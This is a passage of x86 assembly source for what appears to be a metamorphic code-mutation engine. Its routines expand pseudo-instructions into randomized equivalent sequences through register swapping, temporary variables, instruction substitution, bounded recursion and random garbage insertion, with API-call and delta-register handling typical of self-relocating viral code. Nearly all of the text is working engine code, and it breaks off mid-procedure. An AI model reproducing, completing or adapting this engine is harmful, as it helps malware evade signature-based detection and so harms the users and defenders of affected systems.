jmp @@Ret
|
|
|
|
@@Xpand_Next019:
|
|
cmp eax, 0EBh ; JMP Mem?
|
|
jnz @@Xpand_Next020
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax ; Set "32 bits"
|
|
call Xpand_SetMemoryAddress ; Translate and set the memory
|
|
call Xp_GenJMPMem ; address and generate the JMP
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next020:
|
|
cmp eax, 0ECh ; CALL Reg?
|
|
jnz @@Xpand_Next021
|
|
xor eax, eax ; Set "32 bits"
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xpand_SetRegister ; Translate and set the register
|
|
call Xp_GenCALLReg ; Generate the CALL Reg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next021:
|
|
cmp eax, 0EDh ; JMP Reg?
|
|
jnz @@Xpand_Next022
|
|
xor eax, eax ; Set "32 bits"
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xpand_SetRegister ; Translate and set the register
|
|
call Xp_GenJMPReg ; Generate the JMP Reg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next022:
|
|
cmp eax, 0F0h ; SHIFT Reg?
|
|
jnz @@Xpand_Next023
|
|
@@Xpand_TranslateReg:
|
|
mov eax, [esi+1] ; Translate the register
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [esi+1], eax ; Set the register
|
|
jmp @@CopyInstruction ; Copy the instruction
|
|
|
|
@@Xpand_Next023:
|
|
cmp eax, 0F2h ; SHIFT Reg8?
|
|
jz @@Xpand_TranslateReg ; Then jump to translate et all
|
|
|
|
@@Xpand_Next024:
|
|
cmp eax, 0F1h ; SHIFT Mem?
|
|
jnz @@Xpand_Next025
|
|
@@Xpand_TranslateMem:
|
|
call Xpand_SetMemoryAddress ; Translate the memory address
|
|
mov eax, [esi] ; and copy the instruction
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
mov eax, [esi+7]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next025:
|
|
cmp eax, 0F3h ; SHIFT Mem8?
|
|
jz @@Xpand_TranslateMem ; Then do the same as with Mem32
|
|
|
|
@@Xpand_Next026:
|
|
cmp eax, 0F4h ; APICALL_BEGIN?
|
|
jnz @@Xpand_Next027
|
|
xor eax, eax ; Set "32 bits"
|
|
mov [ebp+Xp_8Bits], eax
|
|
mov [ebp+Xp_Register], eax ; Generate a PUSH EAX
|
|
call Xp_GenPUSHReg
|
|
mov eax, 1
|
|
mov [ebp+Xp_Register], eax ; Generate a PUSH ECX
|
|
call Xp_GenPUSHReg
|
|
mov eax, 2
|
|
mov [ebp+Xp_Register], eax ; Generate a PUSH EDX
|
|
call Xp_GenPUSHReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next027:
|
|
cmp eax, 0F5h ; APICALL_END?
|
|
jnz @@Xpand_Next028
|
|
xor eax, eax ; Set "32 bits"
|
|
mov [ebp+Xp_8Bits], eax
|
|
mov eax, 2
|
|
mov [ebp+Xp_Register], eax ; Generate a POP EDX
|
|
call Xp_GenPOPReg
|
|
mov eax, 1
|
|
mov [ebp+Xp_Register], eax ; Generate a POP ECX
|
|
call Xp_GenPOPReg
|
|
xor eax, eax
|
|
mov [ebp+Xp_Register], eax ; Generate a POP EAX
|
|
call Xp_GenPOPReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next028:
|
|
cmp eax, 0F6h ; APICALL_STORE?
|
|
jnz @@Xpand_Next029_
|
|
xor eax, eax
|
|
mov [ebp+Xp_Register], eax ; Set EAX as destiny register
|
|
call Xpand_SetMemoryAddress ; Translate the memory address
|
|
mov eax, 40h ; Set a MOV instruction
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax ; Set "32 bits" usage
|
|
call Xp_GenOPMemReg ; Generate a MOV Reg,[Mem]
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next029_:
|
|
cmp eax, 0F8h ; MOVZX Reg,byte ptr [Mem]?
|
|
jnz @@Xpand_Next029
|
|
mov eax, [esi+7] ; Translate the register
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_Register], eax
|
|
call Xpand_SetMemoryAddress ; Translate and copy the mem.
|
|
call Xp_GenMOVZX ; address and generate a MOVZX
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next029:
|
|
cmp eax, 0FCh ; LEA?
|
|
jnz @@Xpand_Next030
|
|
call Xpand_SetMemoryAddress ; Then translate and copy the
|
|
mov eax, [esi+7] ; memory address, do the same
|
|
and eax, 0FFh ; with the destiny register,
|
|
call Xpand_TranslateRegister ; set "32 bits" register and
|
|
mov [ebp+Xp_Register], eax ; generate the LEA,
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenLEA
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next030:
|
|
cmp eax, 0FEh ; RET?
|
|
jnz @@Xpand_Next031
|
|
call Xp_GenRET ; Then generate a RET
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next031:
|
|
cmp eax, 0FFh ; NOP?
|
|
jz @@Return ; Then avoid it
|
|
|
|
@@Xpand_Next032:
|
|
cmp eax, 0F7h ; SET_WEIGHT?
|
|
jnz @@Xpand_Next033
|
|
|
|
call Xpand_SetMemoryAddress
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
mov [ebp+Xp_Immediate], eax
|
|
mov eax, [esi+8]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_Register], eax
|
|
mov eax, [esi+9]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_SrcRegister], eax
|
|
call Xp_MakeSET_WEIGHT
|
|
; jmp @@Ret
|
|
|
|
@@Xpand_Next033:
|
|
|
|
|
|
|
|
@@Ret: call Random ; Get a random chance of 1/16
|
|
and eax, 0Fh
|
|
or eax, eax
|
|
jnz @@Return
|
|
mov eax, [esi] ; If we get it, let's code garbage
|
|
and eax, 78h
|
|
cmp eax, 38h ; If the instruction immediately
|
|
jz @@OnlyNOP ; above is CMP, TEST, CALL Mem or
|
|
cmp eax, 48h ; APICALL_STORE, then code only
|
|
jz @@OnlyNOP ; NOP (FD 90, insert byte 90)
|
|
cmp eax, 0EAh
|
|
jz @@OnlyNOP
|
|
cmp eax, 0F6h
|
|
jz @@OnlyNOP
|
|
call Xp_InsertGarbage ; Insert some garbage
|
|
@@Return: ret
|
|
@@OnlyNOP: mov eax, 90FDh
|
|
mov [edi], eax ; Set a NOP
|
|
xor eax, eax
|
|
mov [edi+0Bh], eax
|
|
mov [edi+0Ch], esi ; Set the new pointer
|
|
add edi, 10h
|
|
ret
|
|
XpandThisInstruction endp
|
|
|
|
|
|
;; This function gets the labels at the label table and translates them to
|
|
;; their new address, using the updated instruction pointers at field +0C on
|
|
;; the instruction itself. As we can see, the translation is trivial with
|
|
;; this system.
|
|
Xpand_UpdateLabels proc
|
|
mov ebx, [ebp+LabelTable] ; Get the label table address
|
|
mov ecx, [ebp+NumberOfLabels] ; Get the number of labels
|
|
|
|
@@LoopLabel: mov eax, [ebx] ; Get the address of the old instrc.
|
|
mov eax, [eax+0Ch] ; Get the pointer to the new one
|
|
mov [ebx+4], eax ; Set it as the new label pointer
|
|
add ebx, 8 ; Next label
|
|
sub ecx, 1
|
|
or ecx, ecx ; Repeat it for all labels
|
|
jnz @@LoopLabel
|
|
ret
|
|
Xpand_UpdateLabels endp
|
|
|
|
;; This function gets the indexes, translates them to their new register
|
|
;; equivalent and set them and the addition into their corresponding working
|
|
;; fields. If a memory address is an identificator of a data variable (09h as
|
|
;; first index) then the identificator is translated looking at the
|
|
;; table of variable identificators and set up, completing it with the new
|
|
;; Delta Register.
|
|
Xpand_SetMemoryAddress proc
|
|
mov eax, [esi+1] ; Get the register
|
|
and eax, 0FFh
|
|
cmp eax, 9 ; Is it a variable identificator?
|
|
jnz @@Next_NoIdent ; If not, act normally
|
|
mov eax, [esi+3] ; Get the identificator
|
|
mov eax, [eax] ; Get the new variable address and
|
|
add eax, [ebp+New_DATA_SECTION] ; transform it to an
|
|
; offset to add to Delta Register
|
|
mov [ebp+Xp_Mem_Addition], eax ; Set it
|
|
mov eax, [ebp+DeltaRegister]
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_Mem_Index1], eax ; Set the new Delta
|
|
mov eax, 8
|
|
mov [ebp+Xp_Mem_Index2], eax ; Set Index2 as <no_reg>
|
|
ret ; Return
|
|
@@Next_NoIdent:
|
|
mov eax, [esi+1] ; Get the first index
|
|
and eax, 0FFh
|
|
cmp eax, 8 ; Is there a register?
|
|
jae @@Next_Index ; If not, process next index
|
|
call Xpand_TranslateRegister ; Translate the register
|
|
@@Next_Index:
|
|
mov [ebp+Xp_Mem_Index1], eax ; Set the register
|
|
mov eax, [esi+2]
|
|
mov ecx, eax ; Save the multiplicator in ECX
|
|
and ecx, 0C0h
|
|
and eax, 3Fh
|
|
cmp eax, 8 ; Get the register in EAX
|
|
jae @@Next_Index2 ; If it's not a register, jump
|
|
push ecx
|
|
call Xpand_TranslateRegister
|
|
pop ecx ; Translate the register and set
|
|
or eax, ecx ; again the multiplicator
|
|
@@Next_Index2:
|
|
mov [ebp+Xp_Mem_Index2], eax ; Set the 2nd index
|
|
mov eax, [esi+3] ; Set the dword addition
|
|
mov [ebp+Xp_Mem_Addition], eax
|
|
call RandomBoolean ; Randomly select if we exchange
|
|
or eax, eax ; the index registers
|
|
jz @@Return
|
|
or ecx, ecx ; The multiplicator is 0?
|
|
jnz @@Return ; If not, don't exchange
|
|
mov eax, [ebp+Xp_Mem_Index1] ; Exchange them if we can
|
|
mov ecx, [ebp+Xp_Mem_Index2]
|
|
mov [ebp+Xp_Mem_Index1], ecx
|
|
mov [ebp+Xp_Mem_Index2], eax
|
|
@@Return: ret ; Return
|
|
Xpand_SetMemoryAddress endp
|
|
|
|
Xpand_Set8BitsRegister proc
|
|
mov eax, 80h ; Set "8 bits" register
|
|
jmp Xpand_SetRegister_Common
|
|
Xpand_Set8BitsRegister endp
|
|
|
|
Xpand_SetRegister proc
|
|
xor eax, eax ; Set "32 bits" register
|
|
Xpand_SetRegister_Common:
|
|
mov [ebp+Xp_8Bits], eax ; Set the number-of-bits flag
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh ; Get the register at +1 in the
|
|
call Xpand_TranslateRegister ; instruction, translate it
|
|
mov [ebp+Xp_Register], eax ; and set the register
|
|
ret
|
|
Xpand_SetRegister endp
|
|
|
|
|
|
;;;;;
|
|
;;;; Instruction generation functions
|
|
;;;;;
|
|
|
|
;; Generate an OP Reg,Imm
|
|
Xp_GenOPRegImm proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single ; If 3 (maximum), don't recurse
|
|
|
|
call RandomBoolean ; Select randomly the shape of the
|
|
or eax, eax ; expansion
|
|
jz @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Double
|
|
|
|
;; mov Mem,Reg
|
|
;; OP Mem,Imm
|
|
;; mov Reg,Mem
|
|
@@Triple: mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 38h ; CMP?
|
|
jz @@Double ; Then make double (flags can be
|
|
; affected with this type of triplets
|
|
cmp eax, 48h ; TEST?
|
|
jz @@Double ; The same as with CMP
|
|
cmp eax, 40h ; MOV?
|
|
jz @@Double ; Then, the same, to avoid problems
|
|
; with the shrinking
|
|
call Xp_SaveOperation ; Save the current op. and values
|
|
call Xp_GetTempVar ; Allocate a temporary variable
|
|
mov eax, [ebp+Xp_Operation] ; Set MOV operation (saving
|
|
push eax ; the last one)
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call RandomBoolean ; Select randomly if we make:
|
|
or eax, eax ; MOV Mem,Reg
|
|
jz @@Triple_1 ; OP Mem,Imm
|
|
call Xp_GenOPMemReg ; MOV Reg,Mem
|
|
pop eax ; or
|
|
mov [ebp+Xp_Operation], eax ; MOV Mem,Imm
|
|
call Xp_GenOPMemImm ; OP Mem,Reg
|
|
@@Triple_Common: ; MOV Reg,Mem
|
|
mov eax, 40h ; The only problem that we
|
|
mov [ebp+Xp_Operation], eax ; can have is with the op.
|
|
call Xp_GenOPRegMem ; SUB Reg,Imm, but since we
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel ; have substituted
|
|
; that operation in the
|
|
@@Triple_1: call Xp_GenOPMemImm ; shrinking by ADD Reg,-Imm,
|
|
pop eax ; we have no problem with
|
|
mov [ebp+Xp_Operation], eax ; the instruction.
|
|
call Xp_GenOPMemReg
|
|
jmp @@Triple_Common
|
|
|
|
;; MOV Mem,Imm
|
|
;; OP Reg,Mem
|
|
@@Double: mov eax, [ebp+Xp_Operation] ; Get the operation
|
|
cmp eax, 40h ; MOV?
|
|
jz @@Double_MOV ; Then make MOV-specific
|
|
cmp eax, 38h ; CMP?
|
|
jz @@Double_CMP ; Then, CMP-specific
|
|
cmp eax, 48h ; TEST?
|
|
jz @@Double_TEST ; Then, TEST-specific
|
|
@@Double_OP: call RandomBoolean
|
|
or eax, eax ; Random TRUE/FALSE
|
|
jz @@Double_OP_Composed ; If FALSE, make a composed op.
|
|
@@Double_OP_Normal:
|
|
call Xp_SaveOperation ; Save the operation
|
|
call Xp_GetTempVar ; Allocate a temporary var.
|
|
mov eax, [ebp+Xp_Operation]
|
|
push eax
|
|
mov eax, 40h ; Set MOV operation
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPMemImm ; Make OP Mem,Imm
|
|
pop eax ; Restore the operation
|
|
mov [ebp+Xp_Operation], eax
|
|
cmp eax, 38h ; If CMP, make it direct
|
|
jz @@Double_OP_Normal_Direct ; (avoid the recursion)
|
|
cmp eax, 48h ; If TEST, make it direct
|
|
jz @@Double_OP_Normal_Direct ; (avoid the recursion)
|
|
call Xp_GenOPRegMem ; Make OP Reg,Mem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Double_OP_Normal_Direct:
|
|
add eax, 2 ; Convert the opcode to
|
|
add eax, [ebp+Xp_8Bits] ; OP Reg,Mem, set the size
|
|
mov [edi], eax ; of the operation in the
|
|
call Xp_CopyMemoryReference ; opcode (8 or 32 bits),
|
|
mov eax, [ebp+Xp_Register] ; copy the memory reference
|
|
mov [edi+7], eax ; and set the register in
|
|
add edi, 10h ; the +7 position (where it
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel ; must be).
|
|
|
|
@@Double_OP_Composed:
|
|
mov eax, [ebp+Xp_FlagRegOrMem] ; Save the previous value
|
|
push eax ; here
|
|
xor eax, eax ; Set "Register usage"
|
|
mov [ebp+Xp_FlagRegOrMem], eax
|
|
call Xp_MakeComposedOPImm ; Make the composed op.
|
|
pop ebx ; Restore the value of this
|
|
mov [ebp+Xp_FlagRegOrMem], ebx ; flag
|
|
or eax, eax ; Check if we could make the
|
|
jnz @@Double_OP_Normal ; composed operation. If
|
|
jmp Xp_DecreaseRecurseLevel ; not, make it normal.
|
|
|
|
@@Double_MOV:
|
|
call RandomBoolean ; Decide randomly if we make a
|
|
or eax, eax ; normal double-OP.
|
|
jz @@Double_OP
|
|
mov eax, [ebp+Xp_8Bits] ; Get it we use 8 or 32 bits
|
|
or eax, eax
|
|
jnz @@Double_OP ; If 8 bits, make a normal OP
|
|
call Xp_GenPUSHImm ; Generate PUSH Imm
|
|
call Xp_GenPOPReg ; Generate a POP Reg
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Double_CMP:
|
|
call RandomBoolean
|
|
or eax, eax ; Make a normal OP if we get
|
|
jz @@Double_OP ; TRUE randomly
|
|
mov edx, 38h+4 ; Select the opcodes to use with
|
|
mov ecx, 28h+4 ; CMP: CMP and SUB
|
|
jmp @@Double_OP_CMPTEST_Common
|
|
@@Double_TEST:
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Double_OP
|
|
mov edx, 48h+4 ; Select the opcodes to use with
|
|
mov ecx, 20h+4 ; TEST: TEST and AND
|
|
@@Double_OP_CMPTEST_Common:
|
|
call Xp_SaveOperation ; Save the current operation
|
|
push edx
|
|
push ecx
|
|
call Xp_GetTempVar ; Allocate a temporary variable
|
|
mov eax, 40h ; Make a MOV TempVar,Reg
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPMemReg
|
|
pop ecx
|
|
pop edx
|
|
call RandomBoolean ; Select randomly the opcode
|
|
or eax, eax ; stored in ECX or EDX
|
|
jz @@Double_OP_CMPTEST_Next
|
|
mov edx, ecx
|
|
@@Double_OP_CMPTEST_Next:
|
|
add edx, [ebp+Xp_8Bits] ; Set the size of the operation
|
|
mov [edi], edx ; in the opcode and store it
|
|
call Xp_CopyMemoryReference ; blah, blah, blah...
|
|
mov eax, [ebp+Xp_Immediate] ; Here we have done:
|
|
mov [edi+7], eax ; CMP/SUB/TEST/AND TempVar,Imm
|
|
add edi, 10h
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, [ebp+Xp_Operation] ; Get the operation
|
|
cmp eax, 40h ; MOV?
|
|
jz @@Single_MOV
|
|
cmp eax, 38h ; CMP?
|
|
jz @@Single_CMP
|
|
cmp eax, 30h ; XOR?
|
|
jz @@Single_XOR
|
|
or eax, eax ; ADD?
|
|
jz @@Single_ADD
|
|
@@Single_OP: mov eax, [ebp+Xp_Operation] ; Construct the instruction
|
|
add eax, [ebp+Xp_8Bits] ; with the operation, size
|
|
mov [edi], eax ; of operands, destiny reg.
|
|
mov eax, [ebp+Xp_Register] ; and immediate value.
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
; Here we are going to make MOV Reg,Imm in a single instruction
|
|
@@Single_MOV:
|
|
mov eax, [ebp+Xp_Immediate] ; Get the immediate value
|
|
or eax, eax ; Is it 0?
|
|
jz @@Single_MOV_0 ; Then, jump
|
|
@@Single_OP_MOV:
|
|
call Random ; Select LEA making with a
|
|
and eax, 3 ; probability of 25%
|
|
or eax, eax
|
|
jnz @@Single_OP
|
|
mov eax, [ebp+Xp_8Bits] ; 8 bits operand size?
|
|
or eax, eax
|
|
jnz @@Single_OP ; Then, we can't use LEA
|
|
mov eax, 000808FCh ; Make LEA Reg,[Imm]
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_MOV_0: ; Select to make LEA with 0
|
|
call Random ; (or other) with a probability
|
|
and eax, 3 ; of 25% (or normal MOV)
|
|
or eax, eax
|
|
jz @@Single_OP_MOV
|
|
cmp eax, 1 ; Prob. of 25% of making XOR
|
|
jz @@Single_MOV_0_XOR
|
|
cmp eax, 2 ; Prob. of 25% of making SUB
|
|
jz @@Single_MOV_0_SUB
|
|
@@Single_MOV_0_AND: ; Prob. of 25% of making AND
|
|
call Xp_SaveOperation
|
|
mov eax, 20h ; AND Reg,0
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegImm
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Single_MOV_0_XOR:
|
|
add eax, 9 ; 1, +9 = Ah, +26h = 30h: XOR
|
|
@@Single_MOV_0_SUB:
|
|
add eax, 26h ; 2, +26h = 28h: SUB
|
|
mov ecx, eax
|
|
call Xp_SaveOperation ; Save the current operation
|
|
mov [ebp+Xp_Operation], ecx ; Set the new operation
|
|
mov eax, [ebp+Xp_Register] ; Set source and destiny
|
|
mov [ebp+Xp_SrcRegister], eax ; register as the same
|
|
call Xp_GenOPRegReg ; Gen XOR/SUB Reg,Reg
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single_CMP:
|
|
mov eax, [ebp+Xp_Immediate] ; Check if the immediate is 0
|
|
or eax, eax
|
|
jnz @@Single_OP ; If it isn't, make it normal
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz @@Single_OP ; Prob. of 25% of making CMP Reg,0
|
|
cmp eax, 1
|
|
jz @@Single_CMP_OR ; Prob. of 25% of making OR Reg,Reg
|
|
cmp eax, 2
|
|
jz @@Single_CMP_AND ; Prob. of 25% of making AND Reg,Reg
|
|
@@Single_CMP_TEST: ; Prob. of 25% of making TEST Reg,Reg
|
|
add eax, 27h ; 3, +27 = 2A, +17 = 41, +8 = 49h: TEST
|
|
@@Single_CMP_AND:
|
|
add eax, 17h ; 2, +17 = 19, +8 = 21h: AND
|
|
@@Single_CMP_OR:
|
|
add eax, 8 ; 1, +8 = 9h: OR
|
|
add eax, [ebp+Xp_8Bits]
|
|
mov [edi], eax ; Set the size
|
|
mov eax, [ebp+Xp_Register] ; Get the register and set it
|
|
mov [edi+1], eax ; as source and destiny
|
|
mov [edi+7], eax
|
|
add edi, 10h ; Increase storage pointer
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
@@Single_XOR: ; If we make XOR Reg,-1 we
|
|
mov eax, [ebp+Xp_Immediate] ; can also make NOT Reg
|
|
cmp eax, -1
|
|
jnz @@Single_OP
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Single_OP
|
|
call Xp_GenNOTReg
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
@@Single_ADD: ; Check the Imm
|
|
mov eax, [ebp+Xp_Immediate]
|
|
cmp eax, 1 ; ADD Reg,1?
|
|
jz @@Single_ADD_NOTNEG
|
|
cmp eax, -1 ; ADD Reg,-1?
|
|
jz @@Single_ADD_NEGNOT
|
|
@@Single_OP_ADD:
|
|
call RandomBoolean ; Select randomly TRUE/FALSE
|
|
or eax, eax
|
|
jz @@Single_OP ; Make normal ADD if FALSE
|
|
mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax ; If size = 8 bits, don't make
|
|
jnz @@Single_OP ; LEA
|
|
mov eax, 0FCh ; Make LEA Reg,[Reg+Imm]
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
mov [edi+7], eax
|
|
mov eax, 8
|
|
mov [edi+2], eax
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_ADD_NOTNEG:
|
|
call RandomBoolean ; Select randomly if we do
|
|
or eax, eax ; NOT Reg+NEG Reg or INC Reg
|
|
jz @@Single_ADD_INC
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Single_OP_ADD
|
|
call Xp_GenNOTReg ; Generate NOT Reg
|
|
call Xp_GenNEGReg ; Generate NEG Reg
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_ADD_INC:
|
|
xor ebx, ebx
|
|
@@Single_ADD_INCDEC_Common:
|
|
mov eax, [ebp+Xp_8Bits] ; Set INC/DEC Reg. EBX is 0
|
|
add eax, 4Eh ; if we decided to do INC, or
|
|
mov [edi], eax ; 8 if we decided DEC
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
mov [edi+7], ebx ; This opcode (4E) is only
|
|
add edi, 10h ; used here to tell the
|
|
jmp Xp_DecreaseRecurseLevel ; assembler that makes INC/DEC
|
|
@@Single_ADD_NEGNOT:
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Single_ADD_DEC ; Select NEG+NOT or DEC
|
|
call RandomBoolean
|
|
or eax, eax ; Select randomly to do NOT+NEG
|
|
jz @@Single_OP_ADD ; or a normal ADD operation (or
|
|
call Xp_GenNEGReg ; maybe LEA)
|
|
call Xp_GenNOTReg
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_ADD_DEC:
|
|
mov ebx, 8 ; Set DEC operation
|
|
jmp @@Single_ADD_INCDEC_Common ; Jump to complete the instr.
|
|
Xp_GenOPRegImm endp
|
|
|
|
|
|
;; This function generates an OP Reg,Reg from the values in the corresponding
|
|
;; fields. Like the previous function, we also look for special cases for
|
|
;; some operations (MOV, etc.) to code them with valid alternatives (for
|
|
;; example, PUSH Reg+POP Reg2 for MOV, or LEA Reg,[Reg2], etc.).
|
|
Xp_GenOPRegReg proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3 ; Too much deep in recursivity?
|
|
jae @@Single ; If so, code a not-recursive instrc.
|
|
call RandomBoolean
|
|
or eax, eax ; Select randomly the usage of a
|
|
jz @@Single ; single instruction
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax ; Pair or triplet?
|
|
jnz @@Double ; Jump to make a pair
|
|
@@Triple: mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 38h ; If CMP, MOV or TEST make a pair
|
|
jae @@Double
|
|
call Xp_SaveOperation
|
|
call Xp_GetTempVar ; Allocate a temporary variable
|
|
mov eax, [ebp+Xp_Operation]
|
|
push eax
|
|
mov eax, 40h ; Set MOV operation
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPMemReg ; Generate a MOV [Mem],Reg
|
|
pop eax
|
|
mov [ebp+Xp_Operation], eax ; Restore the operation
|
|
mov eax, [ebp+Xp_Register]
|
|
push eax ; Set the source destiny into
|
|
mov eax, [ebp+Xp_SrcRegister] ; the "Register" field
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenOPMemReg ; Generate a OP [Mem],srcReg
|
|
pop eax
|
|
mov [ebp+Xp_Register], eax ; Restore the destiny reg.
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax ; Set MOV operation
|
|
call Xp_GenOPRegMem ; Generate a MOV Reg,[Mem]
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Double: mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 40h ; MOV?
|
|
jz @@Double_MOV
|
|
cmp eax, 38h ; CMP
|
|
jz @@Double_CMP
|
|
cmp eax, 48h ; TEST?
|
|
jz @@Double_TEST
|
|
@@Double_OP: call Xp_SaveOperation
|
|
call Xp_GetTempVar ; Allocate a temp. variable
|
|
mov eax, [ebp+Xp_Operation]
|
|
push eax
|
|
mov eax, 40h ; Set MOV
|
|
mov [ebp+Xp_Operation], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
push eax
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenOPMemReg ; Make a MOV [TempVar],srcReg
|
|
pop eax
|
|
mov [ebp+Xp_Register], eax ; Restore the destiny register
|
|
pop eax
|
|
mov [ebp+Xp_Operation], eax ; Restore the operation
|
|
call Xp_GenOPRegMem ; Make an OP dstReg,[TempVar]
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Double_MOV:
|
|
call RandomBoolean
|
|
or eax, eax ; Decide randomly if we use
|
|
jz @@Double_OP ; the common making
|
|
mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax ; If the size is 8 bits, make
|
|
jnz @@Double_OP ; a common OP
|
|
mov eax, [ebp+Xp_Register]
|
|
push eax ; Save the register
|
|
mov eax, [ebp+Xp_SrcRegister] ; Set the source register as
|
|
mov [ebp+Xp_Register], eax ; the destiny
|
|
call Xp_GenPUSHReg ; Generate a PUSH srcReg
|
|
pop eax
|
|
mov [ebp+Xp_Register], eax ; Restore the desstiny reg.
|
|
call Xp_GenPOPReg ; Generate a POP dstReg
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Double_CMP:
|
|
mov ecx, 3Bh ; ECX = CMP [Mem],Reg
|
|
mov edx, 2Bh ; EDX = SUB [Mem],Reg
|
|
@@Double_CMPTEST_Common:
|
|
call RandomBoolean ; Select if we do a normal OP or
|
|
or eax, eax ; this special one
|
|
jz @@Double_OP
|
|
call Xp_SaveOperation
|
|
push ecx
|
|
push edx
|
|
call Xp_GetTempVar ; Allocate a temporary variable
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPMemReg ; Make a MOV [TempVar],dstReg
|
|
pop edx
|
|
pop ecx
|
|
call RandomBoolean ; Now select randomly if we use the
|
|
or eax, eax ; contents of ECX (CMP/AND) or
|
|
jz @@Double_CMPTEST_Next ; EDX (SUB/TEST)
|
|
mov edx, ecx
|
|
@@Double_CMPTEST_Next:
|
|
add edx, [ebp+Xp_8Bits] ; Set the size into the opcode
|
|
mov [edi], edx ; Make directly the instrc.
|
|
call Xp_CopyMemoryReference ; (not recursive). This is
|
|
mov eax, [ebp+Xp_SrcRegister] ; because the flags must not
|
|
mov [edi+7], eax ; be altered after performing
|
|
add edi, 10h ; this instruction.
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Double_TEST:
|
|
mov ecx, 23h ; ECX = AND [Mem],Reg
|
|
mov edx, 4Bh ; EDX = TEST [Mem],Reg (in
|
|
jmp @@Double_CMPTEST_Common ; fact, the same as 4A)
|
|
|
|
;; Single OP Reg,Reg instruction
|
|
@@Single: mov eax, [ebp+Xp_Operation] ; Check the operation
|
|
cmp eax, 40h ; MOV?
|
|
jz @@Single_MOV
|
|
or eax, eax ; ADD?
|
|
jz @@Single_ADD
|
|
@@Single_OP: mov eax, [ebp+Xp_Operation] ; Get the operation
|
|
add eax, 1 ; Make it "OP Reg,Reg"
|
|
add eax, [ebp+Xp_8Bits] ; Set the size of operands
|
|
